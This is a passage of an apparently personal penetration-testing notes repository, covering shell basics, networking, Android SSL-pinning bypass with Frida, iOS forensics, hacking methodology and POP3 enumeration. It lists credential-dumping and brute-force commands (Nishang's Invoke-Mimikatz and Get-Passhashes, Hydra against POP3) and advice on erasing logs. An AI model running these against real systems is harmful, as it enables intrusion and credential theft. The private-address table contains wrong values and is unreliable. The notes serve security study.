16 |
17 | ### Navigating Filesystem
18 |
19 | ```bash
20 | pwd # Print working directory
21 | cd # Change directory
22 | ls # List files and directories
23 | mkdir # Make a directory
24 | touch # Make a file
25 | cp # Copy a file or directory
26 | rm # Remove a file or directory
27 | mv # Move or rename a file or directory
28 | locate # Locat a file or directory
29 | man # Manual pages for a command
30 | ```
31 |
32 | ### Users and Privileges
33 |
34 | ```bash
35 | d rwx r-x r-w # Directory with permissions 755
36 | - rwx r-- r-- # File with permissions 744
37 | chmod # Change mode of a file or directory
38 | chown # Change owernship of a file or directory
39 | adduser # Adds a new user
40 | passwd # Change the password for a user
41 | su # Switch/substitute to a user
42 | ```
43 |
44 | ### Network Commands
45 |
46 | ```bash
47 | ifconfig / ip a # Configure a network interface
48 | iwconfig # Configure a wireless network interface
49 | ping # Send ICMP ECHO_REQUEST to network hosts
50 | arp # Resolve IP address to a MAC address
51 | netstat # Print network connections, tables, and statistics
52 | route / ip r # Print routing table
53 | ```
54 |
55 | ### Installing and Updating Tools
56 |
57 | ```bash
58 | apt update # Updates list of available packages and their versions, but it does not install or upgrade them.
59 | apt upgrade # Actually installs newer versions of the packages you have.
60 | apt install # Install software
61 | git clone # Download software from GitHub or other git provider
62 | ```
63 |
64 | ### Files
65 |
66 | ```bash
67 | echo "hello" > file.txt # Send/overwrite text to a file
68 | echo "world" >> file.txt # Append text to a file
69 | touch # Create a new file
70 | vim/nano # CLI file editors
71 | gedit # UI file editor
72 | cat # Concatenate files and print on the standard out
73 | ```
74 |
75 | ## Bash Scripting
76 |
77 | ### Examples
78 |
79 | Print out a variable called `str` which contains the string "Hello World!"
80 |
81 | ```bash
82 | #!/bin/bash
83 | str="Hello World!"
84 | echo $str
85 |
86 | ./hello.sh
87 | ```
88 |
89 | Print out the number of arguments (`$#`) and then the argument values.
90 |
91 | ```bash
92 | #!/bin/bash
93 | echo $#
94 | echo $1 $2
95 |
96 | ./argtest.sh Hello World
97 | ```
98 |
99 | Have a user specify an argument number and have it compared against a static argument.
100 |
101 | ```bash
102 | #!/bin/bash
103 | num1="$1"
104 | num2=17
105 | if [ $num1 -ge $num2 ]
106 | then
107 | echo "$num1 is greater than or equal to $num2"
108 | else
109 | echo "$num1 is less than $num2"
110 | fi
111 | echo "Sum is" $(($num1+$num2))
112 |
113 | ./vartest.sh 19
114 | ```
115 |
116 | Read input on a newline then reading input again on the same line (`-p`)
117 |
118 | ```bash
119 | #!/bin/bash
120 | echo "What is your name?"
121 | read name
122 | echo "Hello $name"
123 | echo
124 | read -p "Remind me, what is your name again? " name
125 | echo "Hello again $name"
126 |
127 | ./readtest.sh
128 | ```
129 |
130 | For loop iterating through an array.
131 |
132 | ```bash
133 | #!/bin/bash
134 | names=('Peter' 'Paul' 'Mary' 'David' 'Joe')
135 | x=${#names[@]}
136 | for ((i=0; i<$x; i++))
137 | do
138 | echo ${names[${i}]}
139 | done
140 |
141 | ./fortest.sh
142 | ```
143 |
144 | While loop and then an until loop
145 |
146 | ```bash
147 | #!/bin/bash
148 | runs=6
149 | while [ $runs -gt 0 ]
150 | do
151 | echo "Run down at number $runs"
152 | let runs=runs-1
153 | done
154 | until [ $runs -gt 6 ]
155 | do
156 | echo "Run up at number $runs"
157 | let runs=runs+1
158 | done
159 |
160 | ./wutest.sh
161 | ```
162 |
163 | If else loop checking if a directory exists, and if it does, list its contents.
164 |
165 | ```bash
166 | #!/bin/bash
167 | if [ -d $1 ]
168 | then
169 | echo "$1 exists"
170 | ls $1
171 | else
172 | echo "$1 does not exist."
173 | fi
174 |
175 | ./iftest.sh
176 | ```
177 |
178 | Using a function, select statement, and case statement to print out a city chosen.
179 |
180 | ```bash
181 | #!/bin/bash
182 | function speak
183 | { if [ $1 = "Paris" ]
184 | then
185 | echo "Language used is French"
186 | elif [ $1 = "Hanoi" ]
187 | then
188 | echo "Language used is Vietnamese, with a little French"
189 | else
190 | echo "Language used is English, of one form or another!"
191 | fi
192 | }
193 | PS3=">"
194 | echo "Let's check the language"
195 | select city in "Paris" "Melbourne" "Toronto" "Seattle" "Hanoi" "exit"
196 | do
197 | if [ $city = "exit" ]
198 | then
199 | break
200 | fi
201 | case $city in
202 | Paris)
203 | echo "City is Paris, France";;
204 | Melbourne)
205 | echo "City is Melbourne, Autstralia";;
206 | Toronto)
207 | echo "City is Toronto, Canada";;
208 | Seattle)
209 | echo "City is Seattle, USA";;
210 | Hanoi)
211 | echo "City is Hanoi, Vietnam";;
212 | esac
213 | speak $city
214 | done
215 | echo "Bye!"
216 |
217 | ./fntest.sh
218 | ```
219 |
220 | ## Scripts
221 |
222 | ### Ping Sweeper
223 |
224 | #### Ping
225 |
226 | ```bash
227 | # Ping example
228 | ping 192.168.4.29
229 | PING 192.168.4.29 (192.168.4.29) 56(84) bytes of data.
230 | 64 bytes from 192.168.4.29: icmp_seq1 ttl=128 time=0.403 ms
231 | # Send Ping command/reply to a file
232 | ping 192.168.4.29 > ip.txt
233 | # Grab just the IP address from the file
234 | cat ip.txt | grep "64 bytes" | cut -d " " -f 4 | tr -d ":"
235 | ```
236 |
237 | #### Script to ping the IP addresses specified for the last octet and grabbing only the IPs
238 |
239 | ```bash
240 | #!/bin/bash
241 |
242 | if [ "$1" == "" ]
243 | then
244 | echo "You forgot an IP address!"
245 | echo "Syntax: ./ipsweep.sh 192.168.4"
246 |
247 | else
248 | for ip in `seq 1 254`; do
249 | ping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" &
250 | done
251 | fi
252 | ```
253 |
254 | #### One Liner executing nmap against IP addresses found
255 |
256 | ```bash
257 | for ip in $(cat ip.txt); do nmap $ip; done
258 | ```
259 |
--------------------------------------------------------------------------------
/misc/networking.md:
--------------------------------------------------------------------------------
1 | # Networking
2 |
3 | ## IP Addresses
4 |
5 | Communicates over Layer 3 (Network)
6 |
7 | ### IPv4
8 |
9 | 32 bit address. 2^32 = 4,294,967,296 (Possible amount of IP addresses).
10 |
11 | #### Example
12 |
13 | ```bash
14 | # Example 1
15 | kali@kali:~$ ifconfig
16 | etho0: flags=4163 mtu 1500
17 | inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
18 | # Example 2
19 | kali@kali:~$ ip a s
20 | ```
21 |
22 | ### Classes
23 |
24 | #### Private IP Addresses
25 |
26 | | Network Class | Network Numbers | Network Mask | No. of Networks | No. of Hosts per Network |
27 | | -------------------- | ------------------------------ | ------------- | --------------- | ------------------------ |
28 | | Class A | 10.0.0.0 | 255.0.0.0 | 126 | 16,646,144 |
29 | | Class B | 172.16.0.0 to 172.31.0.0 | 255.255.0.0 | 16,383 | 65,024 |
30 | | Class C | 192.168.0.0 to 192.168.255.255 | 255.255.255.0 | 2,097,151 | 254 |
31 | | Loopback (localhost) | 127.0.0.0 to 127.0.0.7 | 255.255.255.0 | - | - |
32 |
33 | ### NAT (Network Address Translation)
34 |
35 | A technique for letting multiple computers share an IP address. NAT assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to send data to the right place.
36 |
37 | ### IPv6
38 |
39 | 128 bit address. 2^128 = 3.4028236692093846346337460743177e+38 (Possible amount of IP addresses)
40 |
41 | #### Example
42 |
43 | ```bash
44 | # Example 1
45 | kali@kali:~$ ifconfig
46 | etho0: flags=4163 mtu 1500
47 | inet6 fe80::20c:29ff:fe0a:4205 prefixlen 64 scopeid 0x20
48 | # Example 2
49 | kali@kali:~$ ip a s
50 | ```
51 |
52 | ## MAC Addresses
53 |
54 | Communicates over Layer 2 (Data Link)
55 |
56 | 48 bit address. Two halves: the first 24 bits form the Organizationally Unique Identifier (OUI) and the last 24 bits form a serial number (formally called an extension identifier).
57 |
58 | A media access control address (MAC address) is a unique identifier assigned to a network interface controller (NIC) for use as a network address in communications within a network segment.
59 |
60 | #### Example
61 |
62 | ```bash
63 | # Example 1
64 | kali@kali:~$ ifconfig
65 | etho0: flags=4163 mtu 1500
66 | ether 00:0c:29:0a:42:05 txqueuelen 1000 (Ethernet)
67 | # Example 2
68 | kali@kali:~$ ip a s
69 | ```
70 |
71 | ## TCP, UDP, and the Three-Way Handshake
72 |
73 | ### TCP
74 |
75 | Transmission Control Protocol. Connection oriented.
76 |
77 | #### Three-Way Handshake
78 |
79 | 1. \*\*SYN \*\*- Client sends a SYNchronize packet to the server.
80 | 2. \*\*SYN-ACK \*\*- Server sends back a SYNchronize-ACKnowledgement to the client.
81 | 3. \*\*ACK \*\*- Client sends an ACKnowledge to the server.
82 |
83 | ### UDP
84 |
85 | User Datagram Protocol. Connectionless. No handshake takes place.
86 |
87 | ## Common Ports and Protocols
88 |
89 | {% tabs %}
90 | {% tab title="TCP" %}
91 | * 21 (FTP)
92 | * 22 (SSH)
93 | * 23 (Telnet)
94 | * 25 (SMTP)
95 | * 53 (DNS)
96 | * 80/443 (HTTP/S)
97 | * 110 (POP3)
98 | * 139+445 (SMB)
99 | * 143 (IMAP)
100 | {% endtab %}
101 |
102 | {% tab title="UDP" %}
103 | * 53 (DNS)
104 | * 67, 68 (DHCP)
105 | * 69 (TFTP)
106 | * 161 (SNMP)
107 | {% endtab %}
108 | {% endtabs %}
109 |
110 | ## The OSI Model
111 |
112 | | Layer | Layer Name | Examples | Description |
113 | | ----- | ------------------ | ----------------------- | ----------------------------------------------------------------------------------- |
114 | | 7 | Application Layer | HTTP, SMTP, DNS, | Human computer interaction layers where application can access the network services |
115 | | 6 | Presentation Layer | WMV, JPEG, MOV, | Ensures that data is in a usable format and is where data encryption occurs |
116 | | 5 | Session Layer | Session management, | Maintains connections and is responsible for controlling ports and sessions |
117 | | 4 | Transport Layer | TCP, UDP, | Transmits data using transmission protocols including TCP and UDP |
118 | | 3 | Network Layer | IP addresses, routing, | Decides which physical path the data will take |
119 | | 2 | Data Link Layer | Switching, MAC address, | Defines the format of data on the network |
120 | | 1 | Physical Layer | Data cables, cat6, | Transmits raw bit stream over the physical medium |
121 |
122 | #### Mnemonic
123 |
124 | * PDNTSPA
125 | * Please Do Not Throw Sausage Pizza Away
126 |
127 | #### Troubleshooting
128 |
129 | * Typically start with layer 1 and work your way to layer 7
130 |
131 | ## Subnetting
132 |
133 | TBD
134 |
--------------------------------------------------------------------------------
/misc/note-taking.md:
--------------------------------------------------------------------------------
1 | # Note Taking
2 |
3 | ## Note Taking Tools
4 |
5 | * KeepNote
6 | * OneNote
7 | * CherryTree
8 | * Joplin
9 |
10 | ## Screenshot Tools
11 |
12 | * Greenshot
13 | * Flameshot
14 |
--------------------------------------------------------------------------------
/misc/powershell.md:
--------------------------------------------------------------------------------
1 | # PowerShell
2 |
3 | ## Examples
4 |
5 | ### Commands
6 |
7 | ```powershell
8 | Get-Verb # List available verbs
9 | (Get-Verb).count # Get the count of command output
10 | help push # Get help on a specific verb
11 | help pushd # Get additional help from previous command output
12 | hostname > direct.txt # Redirect output to a file
13 | dir >> direct.txt # Append output to a file
14 | type direct.txt # Read out file to the console
15 | cat direct.txt # Another way to read out file to the console
16 | Get-Process # Get running processes
17 | echo "Hello World" # Send Hello World to the console
18 | Write-Host "Hello World" # Send Hello World to the console
19 | ```
20 |
21 | ### Variables
22 |
23 | ```powershell
24 | $name = 'Erich'
25 | $number = 42
26 | $nlist = 1,3,5,7,11,13
27 | ($nlist).count
28 | echo "The list is $nlist"
29 | ```
30 |
31 | ### If Statements
32 |
33 | ```powershell
34 | if ($nlist[1] -gt 0)
35 | {
36 | echo "Positive"
37 | }
38 | ```
39 |
40 | ### Loops
41 |
42 | ```powershell
43 | $i = 1
44 | do {
45 | $val = $nlist | Select-Object -Index $i
46 | echo "Value is $val"
47 | $i = $i + 1
48 | } while ($i -le ($nlist).count)
49 | ```
50 |
51 | ```powershell
52 | ForEach ($val in $nlists)
53 | { echo "Value is $val"
54 | }
55 | ```
56 |
57 | ## Nishang
58 |
59 | ```powershell
60 | # Pre-req
61 | Set-ExecutionPolicy Unrestricted
62 | gci c:\nishang\ -recurse | Unblock-File
63 | Import-Module .\nishang.psm1
64 | # Example commands
65 | Get-Command -Module nishang
66 | Get-Information > info.txt
67 | Get-Help Invoke-Mimikatz -full
68 | Get-Passhashes
69 | Invoke-PortScan -startaddress 10.0.2.1 -endaddress 10.0.2.8 -ScanPort
70 | Out-Word -Paload "powershell.exe -ExecutionPolicy Bypass -noprofile"
71 | Invoke-BruteForce 10.0.2.8 -service FTP -userlist users.txt -passwordlist passes.txt -verbose -StopOnSuccess
72 | Invoke-Prasadhak # Requries API key from Virus Total
73 | ```
74 |
--------------------------------------------------------------------------------
/misc/todo.md:
--------------------------------------------------------------------------------
1 | # TODO
2 |
3 | ## Checklist
4 |
5 | ### HTB
6 |
7 | #### ippsec videos / ippsec.rocks
8 |
9 | * [ ] Timelapse
10 | * [ ] ...
11 |
12 | #### Rana, oxdf, other writeups
13 |
14 | ### THM
15 |
16 | #### Service Enumeration
17 |
18 |
--------------------------------------------------------------------------------
/mobile/android/support-and-tools.md:
--------------------------------------------------------------------------------
1 | # Support and Tools
2 |
3 | ## Notes
4 |
5 | ### OS Versions
6 |
7 | * Android 6 - Device does not need to be rooted
8 | * Android 7.1 - Device needs to be rooted before it will accept the burp cert
9 |
10 | ### Certificate Pinning
11 |
12 | ## Setup
13 |
14 | ### Frida Server
15 |
16 | Find out the arch version of the device
17 |
18 | `adb shell getprop ro.product.cpu.abi`
19 |
20 | Download the Frida server version from the following URL and extract it
21 |
22 | * https://github.com/frida/frida/releases/
23 | * frida-server-xxxx-android-x86.xz
24 | * frida-server-xxxx-android-x86\_64.xz
25 | * Windows: `adb push C:\ADB\ /data/local/tmp`
26 | * Linux: `adb push ADB/ /data/local/tmp`
27 | * Both: `adb shell chmod 777 /data/local/tmp/`
28 |
29 | ### Burp
30 |
31 | 1. Open Burp and go to Proxy tab
32 | 2. Select Options tab
33 | 3. Click the Import/Export CA Certificate
34 | 4. Export Certificate in DER format
35 | 5. Push the Certificate onto the device with ADB (We will need this later for Frida)
36 | 1. `adb push cacert.der /data/local/tmp/cert-der.crt`
37 |
38 | ### SSL Pinning
39 |
40 | Script that will be used to overwrite the certificate pinning mechanism
41 |
42 | [https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/](https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/)
43 |
44 | #### Script injection to bypass certificate pinning
45 |
46 | * Push the script onto the device
47 | * `adb push C:\ADB\fridascriptjs /data/local/tmp`
48 | * Check and run Frida server on the device
49 | * `adb shell /data/local/tmp/ &`
50 | * List all the running processes on the device
51 | * `frida-ps -U`
52 | * Locate your applications package name from the list
53 | * i.e. 3672 com.twitter.android
54 | * Hook Frida script into your application
55 | * `frida -U -f com.twitter.android -l --no-paus`
56 |
57 | #### Why we need certificate pinning bypass
58 |
59 | * Mobile apps encrypt traffic for HTTPS which uses a certificate to do this
60 | * We can insert Burp certificate into Android to capture requests
61 | * Developer protection: Certificate pinning
62 | * App checks to make sure only it's own cert can encrypt traffic
63 | * Our Solution: Certificate pinning bypass
64 | * Overwrite the code in the API that's responsible for check cert
65 | * Frida
66 |
67 | ## Tools
68 |
69 | * ADB (Android Debug Bridge)
70 | * jadx
71 | * dex2jar
72 | * Frida
73 | * Burpsuite
74 | * Genymotion
75 | * Android Studio Virtual Device Manager
76 |
--------------------------------------------------------------------------------
/mobile/ios/README.md:
--------------------------------------------------------------------------------
1 | # iOS
2 |
3 |
--------------------------------------------------------------------------------
/mobile/ios/ios-forensics.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: https://tryhackme.com/room/iosforensics
3 | ---
4 |
5 | # iOS Forensics
6 |
7 | ## What is Digital Forensics and How is it Used Today?
8 |
9 | Digital forensics is the mere digitization of the traditional use and applications of forensic investigation, for example, within police departments after a crime has been committed.
10 |
11 | Artefacts such as blood, fingerprints or hair fibers are used in criminal investigations to paint a picture of the events that took place and who was involved. Digital forensics is the same collection of artefacts, however, these artefacts being events on a digital device.
12 |
13 | Removing evidence or covering your tracks is a fallacy to some extent - especially with digital devices. Someone may be able to hide exactly what they were doing, however, the act of hiding this will, in turn, leave the trace of _something_ behind hidden.
14 |
15 | ## Problems Facing Digital Forensics Analysts
16 |
17 | ### Time Consumption & Resources
18 |
19 | Digital forensics is, without doing it justice, an incredibly time-consuming process. Despite the toolkits and suites available, you find yourself having to analyze data bit-by-bit to find that one smoking gun. Now extend that to a 1TB drive - not so fun huh.
20 |
21 | With the very nature of forensic images being exact bit-for-bit copies of an acquired device or system, you need to have the facilities to be able to store this data before it can be processed. Take a file server full of data with 10 terabytes of data. You need 10 terabytes to store that on as well, slapping on another 10 terabytes required for the backups of the image that you make; suddenly you have at least 20 terabytes sitting around.
22 |
23 | ### Understanding the Person
24 |
25 | As a forensic analyst, you have to piece various parts of information together, into a formal and well-documented timeline of events for presentation. For example, if you were to try to find a bit of text in a document on your computer, you'd know where to go. Now take away the desktop/GUI and terminal then ask your friend to try and find it through the means similar to the screenshot in Task 2. Pretty hard huh?
26 |
27 | ### Encryption
28 |
29 | As it stands, an effective and secure implementation of encryption poses as one of the biggest hurdles to forensic analysts. The problem mostly? People and/or devices themselves leave the decryption keys within the same platform. Such as in the case of the iPhone you are going to analyse. After all, it's that catch-22 of a complex password is a strong password until you need to write it down.
30 |
31 | ### Steganography
32 |
33 | We all know (and love) steganography here; Hiding data within data. And in some cases, is more secure then cryptography; seeing as cryptography makes the contents unreadable, steganography masquerades the entire existence of this data altogether.
34 |
35 | ### Cost of Entry
36 |
37 | Sure, you can pick up FTK Imager lite or Autopsy for free, but these tool suites - whilst being lifesavers, are only the tip of the iceberg in digital forensics.
38 |
39 | For example, you're not going to be creating any file system images of iPhones in FTK Imager lite, and if so, you're going through it bit-for-bit if it is at all unencrypted.
40 |
41 | Enter infamous companies such as Cellebrite. This company are arguably the forefront of data acquisition. Costing approximately $15,000 for the equipment and adapters, specialist kits such these aren't available to hobbyists - only to law enforcement, government agencies and specific Universities. Cellebrite was used to dump this iPhone.
42 |
43 | Let alone the cost of purchasing sophisticated tools, there is a heavy expectation of certifications and even degrees; that's what filled most of my 3 years at University!
44 |
45 | ## iOS File Systems
46 |
47 | Apple, in their notorious way of doing things, have created their own sets of file system formattings: AFS and HFS+
48 |
49 | Starting with the oldest, HFS+ or Mac OS Extended is the legacy file system used by Apple all the way in 1998 and is still supported today. The issue being that HFS was not future proof - given the fact it cannot support file timestamps past February 6th, 2040 (Vigo., 2018).
50 |
51 | Whilst HFS+ didn't support encryption at its entirety (a win in our books as forensic analysts) any device such as iMac or iPhone past iOS 10.3 will have had their file system converted from HFS+ to AFS automatically.
52 |
53 | AFS or Apple File System (creative right...!) boasts many features, including full disk encryption, worrisome for analysts considering all devices past iOS 10.3 will have this system structure. But from a design point of view, AFS introduces smarter data management such as in the screenshot below, where a file requiring 3 blocks worth of space when copied, would require another 3 blocks again.
54 |
55 | Instead of writing and storing the entire data again (taking up six blocks in our example), AFS simply creates another reference to the file (only taking up a total of four blocks in our example), similar to `inodes` in Linux.
56 |
57 | ## Modern iOS Security
58 |
59 | Throughout the years of design, Apple's operating system for its iOS devices has ten-folded in measure of protecting their user's data. So much so, companies have made their reputation purely by being the ones who can unlock iPhones. The ability to do so for law enforcement / governmental authorities is a sprint race behind very, very closed doors.
60 |
61 | For example, Elcomsoft recently announced being able to acquisition file system data from iPhones running iOS 13 and 13.3 without any jailbreaking. That in of itself is groundbreaking in mobile device forensics. And that's only what we've been told about!
62 |
63 | But We're Average Joes Here. We can't be paying thousands for bits of kit and licensing. Nor do we have the space to carry every phone adapter from Nokia's to A or Micro-B cables.
64 |
65 | You might be thinking, but surely with all of the security measures iPhones have these days such as Touch-ID and Face ID on top of the passcode, your data is safe, right?
66 |
67 | Well, toolkits such as this UFED can use all of the acquisition methods that we discussed in task 8. However, what's worth noting is that the UFED is capable of forcing the iDevice to boot using UFED's custom boot loader, bypassing the entire iOS operating system - similar to rooting an android; resulting in an entire dump of the entire device. The issue with this? It contradicts the golden rule of digital forensics: Never turn it off.
68 |
69 | People often install "panic switches" into devices, where a shutdown event could trigger an entire wiping of the device. Or in the case of iPhones, if the iPhone isn't properly isolated, it can be remotely wiped via the iCloud - a very true story.
70 |
71 | iOS' "Restricted Mode"
72 |
73 | Since 2018, Apple enforced a "Restricted Mode" on all iDevices running that version and above. This feature disables the input/output of data functionality from the lightning (charge) cable until the iPhone is unlocked with a passcode. Devices must be trusted before any data can be written - or so as by design.
74 |
75 | ## Data Acquisition & Trust Certificates
76 |
77 | ## Looking for Loot!
78 |
79 | ## Analyzing iOS Files
80 |
--------------------------------------------------------------------------------
/mobile/tcm-mobile/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: https://academy.tcm-sec.com/courses/enrolled/1557555
3 | ---
4 |
5 | # TCM - Mobile
6 |
7 | ## Introduction and Course Resources
8 |
9 | ### Course Resources
10 |
11 | * [OWASP Mobile Application Pentesting GitBook](https://mobile-security.gitbook.io/mobile-security-testing-guide/overview/0x03-overview)
12 | * [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)
13 | * [SecJuice Intro to Frida & Objections](https://www.secjuice.com/objection-frida-guide/)
14 | * iOS Research and Exploration: Volume I by James Duffy
15 | * [HackTricks Checklist (Android)](https://book.hacktricks.xyz/mobile-pentesting/android-checklist)
16 | * [HackTricks Checklist (iOS)](https://book.hacktricks.xyz/mobile-apps-pentesting/ios-pentesting-checklist)
17 |
18 | ### Mobile Pentesting Certification Landscape
19 |
20 | #### Certifications / Courses
21 |
22 | * [eLearnSecurity Mobile Application Penetration Tester](https://elearnsecurity.com/product/emapt-certification/)
23 | * [SANS Institute GMOB (GIAC Certified Device Security Analyst)](https://www.giac.org/certifications/mobile-device-security-analyst-gmob/)
24 | * [EC-Council](https://www.eccouncil.org/hands-on-android-security/)
25 | * [Infosec Institute](https://www.infosecinstitute.com/skills/learning-paths/certified-mobile-and-web-app-penetration-tester-cmwapt/)
26 |
27 | ## Penetration Testing Process
28 |
29 | ### The Penetration Testing Process
30 |
31 | 1. Reconnaissance
32 | 1. Active - Physical recon, interacting with targets via social engineering, anything with a "hands-on" the target approach
33 | 2. Passive - using tools like LinkedIn, Google, publicly available info to enumerate the target
34 | 2. Scanning/Enumeration
35 | 1. Using tools that touch the target's physical or digital infrastructure to enumerate vulnerabilities or open ports, etc.
36 | 1. Example: nmap, dirb, nikto
37 | 3. Exploitation
38 | 1. Taking advantage of the vulnerabilities that you discovered through enumeration and recon
39 | 4. Privilege Escalation
40 | 1. Once inside of the system or environment, moving laterally or vertically to obtain more access
41 | 1. Lateral - from device or app to another device or app as the same user
42 | 2. Vertical - from low level user account to a higher level account
43 | 5. Cover Your Tracks
44 | 1. Eliminating evidence that may incriminate you, or leave signs of exploitation
45 | 2. Changing time stamps, erasing video footage, etc.
46 | 6. Reporting
47 | 1. The result of all your hard work, outlining the findings and exploits to the company to allow them to fix them
48 | 2. This is what separates us from the bad guys
49 |
50 | ### The Mobile Application Penetration Testing Process
51 |
52 | 1. Reconnaissance
53 | 1. Find information about the company
54 | 1. Earnings Reports and Press Releases often contain info about Mobile Apps
55 | 2. Find the Target App on the Play Store or Apple Store
56 | 1. Read reviews
57 | 2. Enumerate who created the app
58 | 3. Enumerate the different app versions and patch notes
59 | 4. Enumerate the company's other apps
60 | 2. Static Analysis
61 | 1. Reading the Application Code via manual or automated tools to access the security
62 | 1. Looking for hardcoded strings, security misconfigurations, or additional targets extracted from the app
63 | 2. Static Analysis will sometimes results in the Pentesting Process being triggered, especially additional enumeration or fingerprinting
64 | 1. Find a URL - recon, enumerate, exploit, etc.
65 | 1. Many companies use other API gateways/path for mobile apps vs the traditional website
66 | 2. Find an email/username - recon using phonebook.cz, etc.
67 | 3. Find a storage bucket - recon, enumerate with cloud\_enum
68 | 3. Dynamic Analysis
69 | 1. Running the application and manipulating it
70 | 1. Intercepting traffic with proxies like Burp Suite/Proxyman
71 | 2. Dumping memory from the application to check for insecurely stored secrets
72 | 3. Checking local storage for files created at runtime
73 | 4. Breaking SSL Pinning at Runtime
74 | 2. Dynamic Analysis can often result in attacks related to the OWASP Top Ten
75 | 1. SQL Injection, Cross-Site Scripting, IDOR, XXE, etc.
76 | 1. Note on XSS: you often will not get XSS in the mobile app itself, but sometimes this can affect the full version of the website.
77 | 4. Reporting
78 | 1. Often contains executive summary as well as specific vulnerabilities discovered
79 | 2. Write report with both OWASP Top Ten (Web) and OWASPT Top Ten (Mobile) in mind
80 | 3. Provide business with the criticality as well as steps to reproduce
81 | 4. Remember to mention the positive security implementations
82 |
--------------------------------------------------------------------------------
/penetration-testing-methodology/5-stages-of-ethical-hacking.md:
--------------------------------------------------------------------------------
1 | # 5 Stages of Ethical Hacking
2 |
3 | ## 5 Stages of Ethical Hacking
4 |
5 | ### Reconnaissance
6 |
7 | #### AKA Footprinting
8 |
9 | * Finding out specific IP addresses, TCP & UDP services, Identifies vulnerabilities
10 | * Network, Host, People involved
11 |
12 | #### Active
13 |
14 | Directly interacting with the target to gather information about the target.
15 |
16 | #### Passive
17 |
18 | Trying to collect the information about the target without directly accessing the target. To this purpose, hacker can use social media, public websites etc.
19 |
20 | ### Scanning (& Enumeration)
21 |
22 | Nmap, Nessus, Nikto, etc.
23 |
24 | 1. **Pre-attack** - Hacker scans the network for specific information based on the information gathered during reconnaissance.
25 | 2. **Port scanning** - This phase involves scanning the target for the information like open ports, live systems, various services running on the host.
26 | 3. **Vulnerability Scanning** - Checking the target for weaknesses or vulnerabilities which can be exploited. Usually done with help of automated tools
27 | 4. **Network Mapping/Information Extraction** - Finding the topology of network, routers, firewalls servers if any, and host information and drawing a network diagram with the available information. This map may serve as a valuable piece of information throughout the hacking process.
28 |
29 | ### Gaining Access (Exploitation)
30 |
31 | This phase is where an attacker breaks into the system/network using various tools or methods. After entering into a system, he has to increase his privilege to administrator level so he can install an application he needs or modify data or hide data.
32 |
33 | #### Examples
34 |
35 | * Phishing, MitM, Brute Force, Spoofing, DoS, BOF, Session Hijacking, BEC
36 |
37 | ### Maintaining Access
38 |
39 | Hacker may just hack the system to show it was vulnerable or he can be so mischievous that he wants to maintain or persist the connection in the background without the knowledge of the user. This can be done using Trojans, Rootkits or other malicious files. The aim is to maintain the access to the target until he finishes the tasks he planned to accomplish in that target.
40 |
41 | ### Clearing Tracks
42 |
43 | No thief wants to get caught. An intelligent hacker always clears all evidence so that in the later point of time, no one will find any traces leading to him. This involves modifying/corrupting/deleting the values of Logs, modifying registry values and uninstalling all applications he used and deleting all folders he created.
44 |
45 | #### Examples
46 |
47 | * Clearing the cache and cookies
48 | * Modifying registry values
49 | * Modifying/corrupting/deleting the values of Logs
50 | * Clearing out Sent emails
51 | * Closing all the open ports
52 | * Uninstalling all applications that he/she be used
53 |
--------------------------------------------------------------------------------
/penetration-testing-methodology/the-cyber-kill-chain.md:
--------------------------------------------------------------------------------
1 | # The Cyber Kill Chain
2 |
3 | ## 7 Stages
4 |
5 | 1. Reconnaissance
6 | 2. Weaponization
7 | 3. Delivery
8 | 4. Exploitation
9 | 5. Installation
10 | 6. Command and control
11 | 7. Actions
12 |
13 | ### Reconnaissance
14 |
15 | * Cyber equivalent of "casing the joint"
16 | * IP address scan of the business domain
17 | * Port scan of active hosts
18 | * Identify vectors for attack
19 | * Checking software versions
20 | * Automated scanning to scale the attack -- botnets
21 |
22 | ### Weaponization
23 |
24 | * Customize a vulnerability to a target
25 | * Integrate into a cyberattack platform
26 | * Purchased ready to run
27 |
28 | ### Delivery
29 |
30 | * Email attachment
31 | * Compromised website
32 | * Log into the target
33 | * Default credentials
34 | * Stolen credentials
35 | * Internet-exposed vulnerability
36 | * Flash drive
37 |
38 | ### Exploitation
39 |
40 | * Exploit a vulnerability
41 | * Unauthorized use of credentials
42 | * Unaware execution of malware
43 |
44 | ### Installation
45 |
46 | * Install payload into memory or disk
47 | * Execute payload after system restart
48 | * Provides ongoing access
49 |
50 | ### Command and Control
51 |
52 | * Connect to the command and control server
53 | * Receive commands
54 | * List subdirectories and files
55 | * Extract a named file
56 | * Modify or replace software
57 | * Determine the command and control server address
58 |
59 | ### Actions
60 |
61 | * Action
62 | * Deface website
63 | * Steal sensitive information
64 | * Access a bank account
65 |
--------------------------------------------------------------------------------
/pentesting-network/110-pop3.md:
--------------------------------------------------------------------------------
1 | # 110 (POP3)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Check version for exploits
8 | * [ ] Check mails for the presence of credentials
9 |
10 | ### Banner Grabbing
11 |
12 | ```bash
13 | nc -nv 110
14 | telnet 110
15 | openssl s_client -connect :995 -crlf -quiet
16 | ```
17 |
18 | ### nmap
19 |
20 | ```bash
21 | nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port # All are default scripts
22 | ```
23 |
24 | ## Commands
25 |
26 | ```
27 | USER uid Log in as "uid"
28 | PASS password Substitue "password" for your actual password
29 | STAT List number of messages, total mailbox size
30 | LIST List messages and sizes
31 | RETR n Show message n
32 | DELE n Mark message n for deletion
33 | RSET Undo any changes
34 | QUIT Logout (expunges messages if no RSET)
35 | TOP msg n Show first n lines of message number msg
36 | CAPA Get capabilities
37 | ```
38 |
39 | ## Brute Force
40 |
41 | ### Hydra
42 |
43 | ```bash
44 | hydra -l -P /path/to/passwords.txt -f pop3 -V
45 | hydra -S -v -l -P /path/to/passwords.txt -s 995 -f pop3 -V
46 | ```
47 |
48 | ### Metasploit
49 |
50 | ```bash
51 | use auxiliary/scanner/pop3/pop3_login
52 | ```
53 |
54 | ## Example
55 |
56 | ```bash
57 | root@kali:~# telnet $ip 110
58 | +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
59 | USER billydean
60 | +OK
61 | PASS password
62 | +OK Welcome billydean
63 |
64 | list
65 |
